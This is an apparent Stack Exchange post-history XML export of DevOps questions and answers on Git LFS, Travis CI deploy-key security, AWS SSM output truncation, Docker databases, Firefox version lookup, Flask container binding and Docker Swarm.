  <row Id="10581" PostHistoryTypeId="2" PostId="3367" RevisionGUID="1c96ffd4-f32e-4077-83d7-e651886e04a3" CreationDate="2018-02-17T10:03:54.443" UserId="5879" Text="&gt; Or some kind of internal &quot;GIT&quot;? where I can push/pull versions?&#xD;&#xA;&#xD;&#xA;What might be of interest to you, without using immutable Docker packages, is Git LFS (Large File Storage). It is an effective approach to using Git for large binaries (your TARs). This has the following benefits:&#xD;&#xA;&#xD;&#xA;1. Use the familiar Git interface&#xD;&#xA;2. Versioning that allows easy rollbacks&#xD;&#xA;3. Guards against data corruption&#xD;&#xA;&#xD;&#xA;Installing the client is [very straight forward][1] although the server requires a [few more steps][2]. There are quite a few hosted options available, but self-hosted should be the most cost-effective variant.&#xD;&#xA;&#xD;&#xA;[1]: https://git-lfs.github.com/&#xD;&#xA;[2]: https://github.com/git-lfs/lfs-test-server" ContentLicense="CC BY-SA 3.0" />
  <row Id="10582" PostHistoryTypeId="2" PostId="3368" RevisionGUID="640252a9-6605-46f3-b911-294acbb78f60" CreationDate="2018-02-17T17:02:44.387" UserId="5879" Text="In the processes of setting up continuous deployment for an open source project with Travis I came across a predicament, can the encrypted private key be easily exfilitrated? For context, the deployment workflow is:&#xD;&#xA;&#xD;&#xA;1. In a Travis build job, build and test code&#xD;&#xA;2. If it passes, deploy the code&#xD;&#xA;3. Decrypt the encrypted private SSH key and start the SSH client&#xD;&#xA;4. Push to the Git remote on the production server&#xD;&#xA;&#xD;&#xA;Using `travis encrypt-file deploy_rsa --add`, the private key is encrypted and only decryptable within the Travis build job. Am I correct in the assumption that someone forking the repo and creating a Travis build job will not be able to decrypt the key? In addition, the **only attack vector** would be for someone with push rights to modify the `.travis-ci` script to decrypt the key and send it to themselves?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10583" PostHistoryTypeId="1" PostId="3368" RevisionGUID="640252a9-6605-46f3-b911-294acbb78f60" CreationDate="2018-02-17T17:02:44.387" UserId="5879" Text="What are the security risks of CD in an open source project?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10584" PostHistoryTypeId="3" PostId="3368" RevisionGUID="640252a9-6605-46f3-b911-294acbb78f60" CreationDate="2018-02-17T17:02:44.387" UserId="5879" Text="&lt;continuous-deployment&gt;&lt;travis-ci&gt;&lt;open-source&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10588" PostHistoryTypeId="50" PostId="1832" RevisionGUID="cc49e8a9-a7f7-4c03-8125-59884392b25d" CreationDate="2018-02-17T22:05:52.347" UserId="-1" />
  <row Id="10591" PostHistoryTypeId="2" PostId="3371" RevisionGUID="b4f354fa-afa6-42a7-b24f-7ce514244423" CreationDate="2018-02-19T00:10:07.350" UserId="6564" Text="I’ve been using a private project on Gitlab to push/pull. I’m using Docker Compose to launch the containers in development and production.&#xA;&#xA;Although I am needing to customize the WordPress image now, so I’m using the built in private container registry at gitlab too and thinking of baking all of the updates into the image as well." ContentLicense="CC BY-SA 3.0" />
  <row Id="10593" PostHistoryTypeId="50" PostId="3081" RevisionGUID="748c58a9-84be-444b-a6ac-5d2cabcc1463" CreationDate="2018-02-19T17:19:13.530" UserId="-1" />
  <row Id="10594" PostHistoryTypeId="2" PostId="3372" RevisionGUID="45cd9f56-b6ff-4c9e-a276-1d6c3ac68cd2" CreationDate="2018-02-19T18:26:45.493" UserId="3" Text="I've got the following AWS CLI commands to run the PowerShell's `Invoke-WebRequest` command:&#xD;&#xA;&#xD;&#xA;    instanceId=i-0xyz # Change this.&#xD;&#xA;    cmdId=$(aws ssm send-command --instance-ids &quot;$instanceId&quot; --document-name &quot;AWS-RunPowerShellScript&quot; --query &quot;Command.CommandId&quot; --output text --parameters commands='&quot;While ($i -le 10) {Invoke-WebRequest -UseBasicParsing -Uri http://example.com; $i += 1}&quot;')&#xD;&#xA;    sleep 1&#xD;&#xA;    aws ssm list-command-invocations --command-id &quot;$cmdId&quot; --details --query &quot;CommandInvocations[*].CommandPlugins[*].Output[]&quot; --output text&#xD;&#xA;&#xD;&#xA;However, the output is truncated:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    StatusCode        : 200&#xD;&#xA;    StatusDescription : OK&#xD;&#xA;    Content           : &lt;!doctype html&gt;&#xD;&#xA;                        &lt;html&gt;&#xD;&#xA;                        &lt;head&gt;&#xD;&#xA;                            &lt;title&gt;Example Domain&lt;/title&gt;&#xD;&#xA;                        &#xD;&#xA;                            &lt;meta charset=&quot;utf-8&quot; /&gt;&#xD;&#xA;                            &lt;meta http-equiv=&quot;Content-type&quot; content=&quot;text/html; &#xD;&#xA;                        charset=utf-8&quot; /&gt;&#xD;&#xA;                            &lt;meta name=&quot;viewport&quot; conten...&#xD;&#xA;    ------------------Output truncated-------------------&#xD;&#xA;&#xD;&#xA;How I can run `aws ssm list-command-invocations` command, so the output won't be truncated?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10595" PostHistoryTypeId="1" PostId="3372" RevisionGUID="45cd9f56-b6ff-4c9e-a276-1d6c3ac68cd2" CreationDate="2018-02-19T18:26:45.493" UserId="3" Text="How to avoid output being truncated when running AWS SSM command?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10596" PostHistoryTypeId="3" PostId="3372" RevisionGUID="45cd9f56-b6ff-4c9e-a276-1d6c3ac68cd2" CreationDate="2018-02-19T18:26:45.493" UserId="3" Text="&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10601" PostHistoryTypeId="2" PostId="3374" RevisionGUID="3aa1c6f1-0c07-4025-9c4a-07ac47e520bb" CreationDate="2018-02-20T00:06:10.100" UserId="4175" Text="When people talk about running a database in Docker, they do not mean to store the data in a container; they are talking about having a docker image with the DB software, and mounting the data as a volume (a bind volume, not a container volume).&#xD;&#xA;&#xD;&#xA;Volumes are an essential part in Docker, and are not something that is flakey or just tacked on. Docker is *not* just made for stateless (micro)services.&#xD;&#xA;&#xD;&#xA;Wish as I might, I cannot find a *technical* reason not to run a database in a Docker, so unfortunately I'll pick the other side of the argument and hence maybe not give you the answer you are looking for.&#xD;&#xA;&#xD;&#xA;(I'm using Oracle as an example because I'm familiar with it, both bare metal and dockerized, and because it's quite a notorious beast for being just a bit non-trivial to operate if you go past trivial settings.)&#xD;&#xA;&#xD;&#xA;- Packaging up the DB software itself in a container gives you the usual benefits - having the same version everywhere, avoiding dependency/shared library issues, being able to spin up the exact same DB on developer laptops or wherever you need it.&#xD;&#xA;- It is a *snap* getting it to run anywhere; updating is trivial, and so on. All the Docker benefits apply. There is an Oracle image on Dockerhub which allows you to spin up a working DB in a minute or three (and for the others as well, of course).&#xD;&#xA;- People did do performance tests and found no I/O differences between volumes and bare metal (https://www.percona.com/blog/2016/02/11/measuring-docker-io-overhead/, https://stackoverflow.com/questions/21889053/what-is-the-runtime-performance-cost-of-a-docker-container).&#xD;&#xA;- Under the hood, it's not like Docker somehow intercepts all I/O, anyway. It just gets creative with standard Linux tools (bind mounts in this case, mangling of the internal kernel tables that make the Docker-fu possible at all).&#xD;&#xA;- Obviously that does not mean that you can run two instances of the DB and just have them work on the same files, but nobody is implying that. Docker does not give you automatic simultaneous and magically race-free access to volumes, and did never pretend to do so. The rest of the benefits still apply. If your DB itself does not detect conflicts like this, you better supply a CMD script to the image which refuses spinning up a second container when the volume is already in use.&#xD;&#xA;- You have to be a little more careful spinning up/shutting down the container (just as you would not simply switch off a bare metal DB server), but that should be quite manageable.&#xD;&#xA;&#xD;&#xA;Now, depending on circumstances, there *may* be soft reasons not to do it:&#xD;&#xA;&#xD;&#xA;- Oracle (the company), for example, will certainly not support you if you run their RDBMS in a Docker container. But maybe you are using dockerized Oracle RDBMS images only for your developers and the testing environment, where you would not need their support in any case, reserving it for a bare metal production server. (But don't forget to pay your licenses...).&#xD;&#xA;- If the ops guys are unfamiliar with Docker, it might just be a bit easier to accidently kill everything, destroy your data files etc..&#xD;&#xA;- If you have big dedicated metal DB machines already, with large amounts of very fast dedicated SAN storage, and running nothing else anyways, then there would just be no point in using Docker to containerize *those* as you will *never* just spin another server up when there are 100s of GB or even TB of data. After all, for production, a RDBMS like Oracle is very, very advanced in all the replication, data integrety, no-downtime failover, etc. aspects. Note that this argument just says &quot;you do not *need* to containerize your RDBMS&quot;. It does not say &quot;you *should not* do it&quot; - maybe you want to do it because you wish to roll out database software upgrades through containers or for whatever other reason you could imagine. &#xD;&#xA;&#xD;&#xA;So there you go. By all means *do* dockerize your DB, at the very least for your developers (who will be eternally thankful) and your testing environments. On the production, it will come down to taste, and *there* at least, I would also prefer the solution that sits best with the specialized DBA/Ops - if they have decades of experience working bare metal DB servers, then by all means trust them to continue so. But if you are a startup who has all IT in the cloud anyways, then a Docker container would just be one further piece of onion in the whole picture." ContentLicense="CC BY-SA 3.0" />
  <row Id="10602" PostHistoryTypeId="2" PostId="3375" RevisionGUID="e09754bb-a3cd-4dde-91f9-36b81db1f1eb" CreationDate="2018-02-20T01:48:59.733" UserId="210" Text="How to get the latest version of firefox? [This URL][1] was found, but is there no API?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.mozilla.org/en-US/firefox/releases/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10603" PostHistoryTypeId="1" PostId="3375" RevisionGUID="e09754bb-a3cd-4dde-91f9-36b81db1f1eb" CreationDate="2018-02-20T01:48:59.733" UserId="210" Text="How to get the latest stable version of Firefox?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10604" PostHistoryTypeId="3" PostId="3375" RevisionGUID="e09754bb-a3cd-4dde-91f9-36b81db1f1eb" CreationDate="2018-02-20T01:48:59.733" UserId="210" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="10607" PostHistoryTypeId="5" PostId="3374" RevisionGUID="d9a5dd65-c279-4c69-ae1a-6eba2203ac22" CreationDate="2018-02-20T06:08:42.223" UserId="4175" Comment="edited body" Text="When people talk about running a database in Docker, they do not mean to store the data in a container; they are talking about having a docker image with the DB software, and mounting the data as a volume (a bind volume, not a container volume).&#xD;&#xA;&#xD;&#xA;Volumes are an essential part in Docker, and are not something that is flakey or just tacked on. Docker is *not* just made for stateless (micro)services.&#xD;&#xA;&#xD;&#xA;Wish as I might, I cannot find a *technical* reason not to run a database in a Docker, so unfortunately I'll pick the other side of the argument and hence maybe not give you the answer you are looking for.&#xD;&#xA;&#xD;&#xA;(I'm using Oracle as an example because I'm familiar with it, both bare metal and dockerized, and because it's quite a notorious beast for being just a bit non-trivial to operate if you go past default settings.)&#xD;&#xA;&#xD;&#xA;- Packaging up the DB software itself in a container gives you the usual benefits - having the same version everywhere, avoiding dependency/shared library issues, being able to spin up the exact same DB on developer laptops or wherever you need it.&#xD;&#xA;- It is a *snap* getting it to run anywhere; updating is trivial, and so on. All the Docker benefits apply. There is an Oracle image on Dockerhub which allows you to spin up a working DB in a minute or three (and for the others as well, of course).&#xD;&#xA;- People did do performance tests and found no I/O differences between volumes and bare metal (https://www.percona.com/blog/2016/02/11/measuring-docker-io-overhead/, https://stackoverflow.com/questions/21889053/what-is-the-runtime-performance-cost-of-a-docker-container).&#xD;&#xA;- Under the hood, it's not like Docker somehow intercepts all I/O, anyway. It just gets creative with standard Linux tools (bind mounts in this case, mangling of the internal kernel tables that make the Docker-fu possible at all).&#xD;&#xA;- Obviously that does not mean that you can run two instances of the DB and just have them work on the same files, but nobody is implying that. Docker does not give you automatic simultaneous and magically race-free access to volumes, and did never pretend to do so. The rest of the benefits still apply. If your DB itself does not detect conflicts like this, you better supply a CMD script to the image which refuses spinning up a second container when the volume is already in use.&#xD;&#xA;- You have to be a little more careful spinning up/shutting down the container (just as you would not simply switch off a bare metal DB server), but that should be quite manageable.&#xD;&#xA;&#xD;&#xA;Now, depending on circumstances, there *may* be soft reasons not to do it:&#xD;&#xA;&#xD;&#xA;- Oracle (the company), for example, will certainly not support you if you run their RDBMS in a Docker container. But maybe you are using dockerized Oracle RDBMS images only for your developers and the testing environment, where you would not need their support in any case, reserving it for a bare metal production server. (But don't forget to pay your licenses...).&#xD;&#xA;- If the ops guys are unfamiliar with Docker, it might just be a bit easier to accidently kill everything, destroy your data files etc..&#xD;&#xA;- If you have big dedicated metal DB machines already, with large amounts of very fast dedicated SAN storage, and running nothing else anyways, then there would just be no point in using Docker to containerize *those* as you will *never* just spin another server up when there are 100s of GB or even TB of data. After all, for production, a RDBMS like Oracle is very, very advanced in all the replication, data integrety, no-downtime failover, etc. aspects. Note that this argument just says &quot;you do not *need* to containerize your RDBMS&quot;. It does not say &quot;you *should not* do it&quot; - maybe you want to do it because you wish to roll out database software upgrades through containers or for whatever other reason you could imagine. &#xD;&#xA;&#xD;&#xA;So there you go. By all means *do* dockerize your DB, at the very least for your developers (who will be eternally thankful) and your testing environments. On the production, it will come down to taste, and *there* at least, I would also prefer the solution that sits best with the specialized DBA/Ops - if they have decades of experience working bare metal DB servers, then by all means trust them to continue so. But if you are a startup who has all IT in the cloud anyways, then a Docker container would just be one further piece of onion in the whole picture." ContentLicense="CC BY-SA 3.0" />
  <row Id="10608" PostHistoryTypeId="2" PostId="3377" RevisionGUID="22009934-97d4-4922-b824-81268cd8bdf1" CreationDate="2018-02-20T10:15:27.680" UserId="707" Text="What is the best practice either reference value in terms of an SLA spec to expect the infrastructure to:&#xD;&#xA;&#xD;&#xA;- deliver a Docker image say for 100MB and 1GB size as reference?&#xD;&#xA;- unpack the above?&#xD;&#xA;- instantiate a container of the above?&#xD;&#xA;&#xD;&#xA;Sure you can say &quot;how important is that&quot; but somewhere it gets irrational. SLA offers rational approach.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10609" PostHistoryTypeId="1" PostId="3377" RevisionGUID="22009934-97d4-4922-b824-81268cd8bdf1" CreationDate="2018-02-20T10:15:27.680" UserId="707" Text="Docker image delivery lead time SLA" ContentLicense="CC BY-SA 3.0" />
  <row Id="10610" PostHistoryTypeId="3" PostId="3377" RevisionGUID="22009934-97d4-4922-b824-81268cd8bdf1" CreationDate="2018-02-20T10:15:27.680" UserId="707" Text="&lt;docker&gt;&lt;performance&gt;&lt;infrastructure&gt;&lt;sla&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10614" PostHistoryTypeId="50" PostId="2939" RevisionGUID="c8715975-eb4f-4355-99ef-9e5c8b593f06" CreationDate="2018-02-20T10:44:36.037" UserId="-1" />
  <row Id="10615" PostHistoryTypeId="2" PostId="3379" RevisionGUID="4973a1e2-43d5-4f72-8d57-e49a523f6976" CreationDate="2018-02-20T11:22:30.657" UserId="6575" Text="I've build which is checked-in on the PTC Integrity and I've raised the CR or SR ticket(Build &amp; Deploy Request) on the PTC life manager by developer for deploy his build on some XXXX server and the version of the build is xxxx.&#xD;&#xA;&#xD;&#xA;As of now as a deployment team we are following the below process&#xD;&#xA;&#xD;&#xA;If we get a ticket we assigned it to us.&#xD;&#xA;And then collect all those details which is on the ticket by manually and doing deployment also by manually.&#xD;&#xA;&#xD;&#xA;Instead of this now we are planning to do this on automation.&#xD;&#xA;&#xD;&#xA;How do I get the following details on the Jenkins to do my deployment. I've some bat script to do the deployment. To kick off that bat file, it needs the following details&#xD;&#xA;1. Version of the build&#xD;&#xA;2. Which server the Build needs to deploy&#xD;&#xA;3. Where the build file is located&#xD;&#xA;&#xD;&#xA;I need to collect all those above details from the PTC ticket which I had created earlier&#xD;&#xA;Is there any possiblity from Jenkins can I able to get those values from the ticket number.&#xD;&#xA;&#xD;&#xA;I'm very new to PTC.&#xD;&#xA;I came to know from google there is a plugin available for PTC with Jenkins&#xD;&#xA;&#xD;&#xA;Could someone please help on this" ContentLicense="CC BY-SA 3.0" />
  <row Id="10616" PostHistoryTypeId="1" PostId="3379" RevisionGUID="4973a1e2-43d5-4f72-8d57-e49a523f6976" CreationDate="2018-02-20T11:22:30.657" UserId="6575" Text="PTC with Jenkins on Deployment based on the Build request which raised on PTC" ContentLicense="CC BY-SA 3.0" />
  <row Id="10617" PostHistoryTypeId="3" PostId="3379" RevisionGUID="4973a1e2-43d5-4f72-8d57-e49a523f6976" CreationDate="2018-02-20T11:22:30.657" UserId="6575" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10618" PostHistoryTypeId="2" PostId="3380" RevisionGUID="c46d4051-65ea-43ba-a901-5b9eb1d3af89" CreationDate="2018-02-20T11:50:28.000" UserId="3670" Text="Trying to connect to a dockerized Flask app fails with error 104, 'Connection reset by peer' using this minimal example:&#xD;&#xA;&#xD;&#xA;app.py:&#xD;&#xA;&#xD;&#xA;    from flask import Flask&#xD;&#xA;    app = Flask(__name__)&#xD;&#xA;&#xD;&#xA;    @app.route(&quot;/&quot;)&#xD;&#xA;    def hello():&#xD;&#xA;        return &quot;Hello World!&quot;&#xD;&#xA;&#xD;&#xA;    if __name__ == &quot;__main__&quot;:&#xD;&#xA;        app.run()&#xD;&#xA;&#xD;&#xA;Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM python:alpine&#xD;&#xA;    RUN pip install flask&#xD;&#xA;    COPY . /src/&#xD;&#xA;    EXPOSE 5000&#xD;&#xA;    ENTRYPOINT [&quot;python&quot;, &quot;/src/app.py&quot;]&#xD;&#xA;&#xD;&#xA;docker-compose.yml:&#xD;&#xA;&#xD;&#xA;    …&#xD;&#xA;    test:&#xD;&#xA;        build: .&#xD;&#xA;        ports:&#xD;&#xA;            - 127.0.0.1:5000:5000&#xD;&#xA;&#xD;&#xA;Flask app seems to be running as expected:&#xD;&#xA;&#xD;&#xA;    $ docker logs test &#xD;&#xA;     * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)&#xD;&#xA;&#xD;&#xA;Trying to connect from outside fails:&#xD;&#xA;&#xD;&#xA;    $ http http://127.0.0.1:5000/&#xD;&#xA;    http: error: ConnectionError: ('Connection aborted.', ConnectionResetError(104, 'Connection reset by peer')) while doing GET request to URL: http://127.0.0.1:5000/&#xD;&#xA;&#xD;&#xA;Any ideas, why I can't get to see &quot;Hello World!&quot; here?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10619" PostHistoryTypeId="1" PostId="3380" RevisionGUID="c46d4051-65ea-43ba-a901-5b9eb1d3af89" CreationDate="2018-02-20T11:50:28.000" UserId="3670" Text="Dockerized Flask: Connection reset by peer" ContentLicense="CC BY-SA 3.0" />
  <row Id="10620" PostHistoryTypeId="3" PostId="3380" RevisionGUID="c46d4051-65ea-43ba-a901-5b9eb1d3af89" CreationDate="2018-02-20T11:50:28.000" UserId="3670" Text="&lt;docker&gt;&lt;python&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10621" PostHistoryTypeId="5" PostId="3379" RevisionGUID="4df52b86-f375-4688-8534-5ff11cf49118" CreationDate="2018-02-20T13:52:38.130" UserId="47" Comment="improved readability" Text="I've build which is checked-in on the PTC Integrity and I've raised the CR or SR ticket(Build &amp; Deploy Request) on the PTC life manager by developer for deploy his build on some XXXX server and the version of the build is xxxx.&#xD;&#xA;&#xD;&#xA;As of now as a deployment team we are following the below process&#xD;&#xA;&#xD;&#xA;If we get a ticket we assigned it to us.&#xD;&#xA;And then collect all those details which is on the ticket by manually and doing deployment also by manually.&#xD;&#xA;&#xD;&#xA;Instead of this now we are planning to do this on automation.&#xD;&#xA;&#xD;&#xA;How do I get the following details on the Jenkins to do my deployment. I've some bat script to do the deployment. To kick off that bat file, it needs the following details:&#xD;&#xA;&#xD;&#xA;1. Version of the build&#xD;&#xA;2. Which server the Build needs to deploy&#xD;&#xA;3. Where the build file is located&#xD;&#xA;&#xD;&#xA;I need to collect all those above details from the PTC ticket which I had created earlier&#xD;&#xA;Is there any possiblity from Jenkins can I able to get those values from the ticket number.&#xD;&#xA;&#xD;&#xA;I'm very new to PTC.&#xD;&#xA;I came to know from google there is a plugin available for PTC with Jenkins&#xD;&#xA;&#xD;&#xA;Could someone please help on this" ContentLicense="CC BY-SA 3.0" />
  <row Id="10622" PostHistoryTypeId="2" PostId="3381" RevisionGUID="1d797adb-e9bb-4f03-bbea-6991bb8e4c53" CreationDate="2018-02-20T16:36:08.147" UserId="6578" Text="I would agree with previous statements: avoid baking users into your base image with Packer. Likewise, you should avoid baking them with `Terraform` as well. I would honestly suggest you venture outside the Hashicorp ecosystem for this task. Something like Anisble, Chef, Puppet, or Salt, _real_ configuration management tools, are best suited for this job.&#xD;&#xA;&#xD;&#xA;Packer lets you set a base image to be used by many machines. Terraform maintains the state of your architecture as code. However, what happens when you on-board or off-board new users? Or you need to change their individual SSH keys because they lost their computer? This should not be a code change. Nor would you want something like User secrets stored as code in your Terraform provisioning script.&#xD;&#xA;&#xD;&#xA;For _on-going_ changes of machines, this is exactly what a configuration management system is designed for.&#xD;&#xA;&#xD;&#xA;At my company the stack is: Packer images, Terraform bootstrapping, and Chef management. They work well together. I'll admit, I love putting more things into Packer and Teraform as it makes spin up times quicker. But a good CM tool still has its place in the DevOps world." ContentLicense="CC BY-SA 3.0" />
  <row Id="10623" PostHistoryTypeId="2" PostId="3382" RevisionGUID="08b2e672-02ad-460c-ad4b-d6adeaab9639" CreationDate="2018-02-20T16:40:48.497" UserId="6578" Text="You do not want to be parsing HTML in a programmatic way. Avoid it at all costs, if you can. It would be a nightmare to support on-going. There's actually a JSON output that Mozilla provides of all the versions:&#xD;&#xA;&#xD;&#xA;https://product-details.mozilla.org/1.0/firefox_versions.json" ContentLicense="CC BY-SA 3.0" />
  <row Id="10624" PostHistoryTypeId="2" PostId="3383" RevisionGUID="443c8c21-d4e3-4123-8ccd-62855227c87f" CreationDate="2018-02-20T17:04:14.977" UserId="6578" Text="&gt; Trying to connect from outside fails&#xD;&#xA;&#xD;&#xA;Are you actually connecting from _outside_? Flask is binding to localhost (127.0.0.1) and that will only be reachable from within the container. If you're on your local machine, you'll need flask to bind to all ports:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    from flask import Flask&#xD;&#xA;    app = Flask(__name__)&#xD;&#xA;    &#xD;&#xA;    @app.route('/')&#xD;&#xA;    def hello():&#xD;&#xA;        return &quot;Hello World!&quot;&#xD;&#xA;    &#xD;&#xA;    if __name__ == &quot;__main__&quot;:&#xD;&#xA;        app.run(host='0.0.0.0')&#xD;&#xA;&#xD;&#xA;That works for me successfully." ContentLicense="CC BY-SA 3.0" />
  <row Id="10625" PostHistoryTypeId="2" PostId="3384" RevisionGUID="31c49f07-f61e-4500-be95-5e23a2ea8385" CreationDate="2018-02-20T18:56:49.043" UserId="6258" Text="According to this [ssm tutorial][1], SSM send-command output is truncated at 2500 characters.  To work around that, you must send your output to an S3 bucket using the `--output-s3-bucket-name` parameter.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/tutorial_run_command.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10626" PostHistoryTypeId="2" PostId="3385" RevisionGUID="e47b8c75-0676-469a-98e9-1f686abdf478" CreationDate="2018-02-20T20:11:10.043" UserId="6153" Text="I would direct you to my post [Coupling docker registry and source control](https://devops.stackexchange.com/questions/3334/coupling-docker-registry-and-source-control/3342?noredirect=1#comment4866_3342) where dmaze answered from the official [forums.docker.com](https://forums.docker.com/t/coupling-docker-registry-with-scm/46199).  Commit hash and branch name or tags suffices.&#xD;&#xA;&#xD;&#xA;&gt;In your Dockerfile, use a LABEL to record the source of the build. That probably includes the commit hash from distributed source control (git, Mercurial), the branch name if relevant, any release tags if present, and possibly details like the timestamp of the last commit. docker history and docker inspect should be able to show these.&#xD;&#xA;&#xD;&#xA;&gt;When you docker push your images, push them at least twice, with the commit hash and with the branch name as the “version” part (quay.io/mycorp/imagename:123abc7, quay.io/mycorp/imagename:dmaze-test). If release tags are readily available, the CI system should push images with these tags too. &#xD;&#xA;&#xD;&#xA;We are currently using a combination of branch name/commit hash.  For us that seems to be enough.  timestamps while they are useful IMO just add clutter as they don't provide anything the commit hash doesn't.&#xD;&#xA;&#xD;&#xA;I agree with **030** regarding:&#xD;&#xA;&gt;who should be the authority on tracking / incrementing a build version&#xD;&#xA;&#xD;&#xA;100% is responsibility of the CI to maintain such things, with proper communication between other teams." ContentLicense="CC BY-SA 3.0" />
  <row Id="10627" PostHistoryTypeId="2" PostId="3386" RevisionGUID="9671acfc-bcef-4c3f-90e7-ed6d45035fec" CreationDate="2018-02-20T23:16:39.747" UserId="4328" Text="I pulled this from the [Firefox Chef cookbook][1]. In particular, I pulled it from [this][2] .rb file. This an example of the request they use to get the latest version based on OS and language. &#xD;&#xA;&#xD;&#xA;    https://download.mozilla.org/?product=firefox-latest#&amp;os=win#&amp;lang=#en-US&#xD;&#xA;&#xD;&#xA;It adheres to the following format:&#xD;&#xA;&#xD;&#xA;    https://download.mozilla.org/?product=firefox-{VERSION_NUMBER}#&amp;os={OS_ABBREVIATION}#&amp;lang=#{LANGUAGE_ABBREVIATION}&#xD;&#xA;&#xD;&#xA;I searched around for official api documentation, but couldn't find anything. If I do, I will post a link to it in this answer. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/chef-cookbooks/firefox&#xD;&#xA;  [2]: https://github.com/chef-cookbooks/firefox/blob/master/libraries/default.rb" ContentLicense="CC BY-SA 3.0" />
  <row Id="10628" PostHistoryTypeId="5" PostId="3386" RevisionGUID="4ab67260-50f2-4a06-a57a-d03e1aa51c54" CreationDate="2018-02-21T00:44:54.367" UserId="4328" Comment="deleted 17 characters in body" Text="I pulled this from the [Firefox Chef cookbook][1] (in particular [this][2] .rb file). This an example of the request they use to get the latest version based on OS and language. &#xD;&#xA;&#xD;&#xA;    https://download.mozilla.org/?product=firefox-latest#&amp;os=win#&amp;lang=#en-US&#xD;&#xA;&#xD;&#xA;It adheres to the following format:&#xD;&#xA;&#xD;&#xA;    https://download.mozilla.org/?product=firefox-{VERSION_NUMBER}#&amp;os={OS_ABBREVIATION}#&amp;lang=#{LANGUAGE_ABBREVIATION}&#xD;&#xA;&#xD;&#xA;I searched around for official api documentation, but couldn't find anything. If I do, I will post a link to it in this answer. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/chef-cookbooks/firefox&#xD;&#xA;  [2]: https://github.com/chef-cookbooks/firefox/blob/master/libraries/default.rb" ContentLicense="CC BY-SA 3.0" />
  <row Id="10629" PostHistoryTypeId="2" PostId="3387" RevisionGUID="abc32945-5e39-4914-81a7-f956a3cdac81" CreationDate="2018-02-21T06:10:39.903" UserId="6600" Text="I want to run services in our office in containers. The problem I have is that we do not have a spare machine available to act as the dedicated host.&#xD;&#xA;&#xD;&#xA;So I am considering creating a swarm using everyone's desktop workstations as the workers. But if the manager node (my computer) is shutdown then the entire swarm stops.&#xD;&#xA;&#xD;&#xA;I envisioned a swarm where every worker can act as a manager if needed. When the manager dies, another worker assumes the role as manager and the service continues running uninterrupted.&#xD;&#xA;&#xD;&#xA;*Is it possible to create a **decentralized** swarm where any available node can assume the role as a manager as needed?*" ContentLicense="CC BY-SA 3.0" />
  <row Id="10630" PostHistoryTypeId="1" PostId="3387" RevisionGUID="abc32945-5e39-4914-81a7-f956a3cdac81" CreationDate="2018-02-21T06:10:39.903" UserId="6600" Text="Is a decentralized Docker swarm possible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10631" PostHistoryTypeId="3" PostId="3387" RevisionGUID="abc32945-5e39-4914-81a7-f956a3cdac81" CreationDate="2018-02-21T06:10:39.903" UserId="6600" Text="&lt;docker&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10632" PostHistoryTypeId="2" PostId="3388" RevisionGUID="2dca3d8f-7fe8-486e-b798-d5caa74e21a6" CreationDate="2018-02-21T08:35:05.540" UserId="707" Text="By Docker Swarm design **it is dencentralized**, so you can *promote* any node to a manager. Normally, 3 managers are enough, for landscapes with thousands of nodes 5 are enough. &#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/swarm/admin_guide/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10633" PostHistoryTypeId="2" PostId="3389" RevisionGUID="b5b8e756-c38c-4cbe-b809-24d29bc99590" CreationDate="2018-02-21T13:52:37.890" UserId="3" Text="Here is a helper Bash script which uses [`aws ssm send-command`][1] to run the commands:&#xD;&#xA;&#xD;&#xA;    #/usr/bin/env bash -x&#xD;&#xA;    # Script to run PowerShell script on the Windows instance.&#xD;&#xA;    instanceId=&quot;$1&quot;&#xD;&#xA;    cmdId=$(aws ssm send-command --instance-ids &quot;$instanceId&quot; --document-name &quot;AWS-RunPowerShellScript&quot; --query &quot;Command.CommandId&quot; --output text --parameters commands=&quot;'${@:2}'&quot;)&#xD;&#xA;    [ $? -ne 0 ] &amp;&amp; { echo &quot;Usage: $0 instance_id command&quot;; exit 1; }&#xD;&#xA;    while [ &quot;$(aws ssm list-command-invocations --command-id &quot;$cmdId&quot; --query &quot;CommandInvocations[].Status&quot; --output text)&quot; == &quot;InProgress&quot; ]; do sleep 1; done&#xD;&#xA;    aws ssm list-command-invocations --command-id &quot;$cmdId&quot; --details --query &quot;CommandInvocations[*].CommandPlugins[*].Output[]&quot; --output text&#xD;&#xA;&#xD;&#xA;Usage:&#xD;&#xA;&#xD;&#xA;     ./run_ec2_ps_cmd.sh instance-id command&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ ./run_ec2_ps_cmd.sh i-xyz hostname&#xD;&#xA;    ip-xyz&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;To execute larger outputs, see: &lt;https://devops.stackexchange.com/q/3372/3&gt;&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/cli/latest/reference/ssm/send-command.html" ContentLicense="CC BY-SA 3.0" />
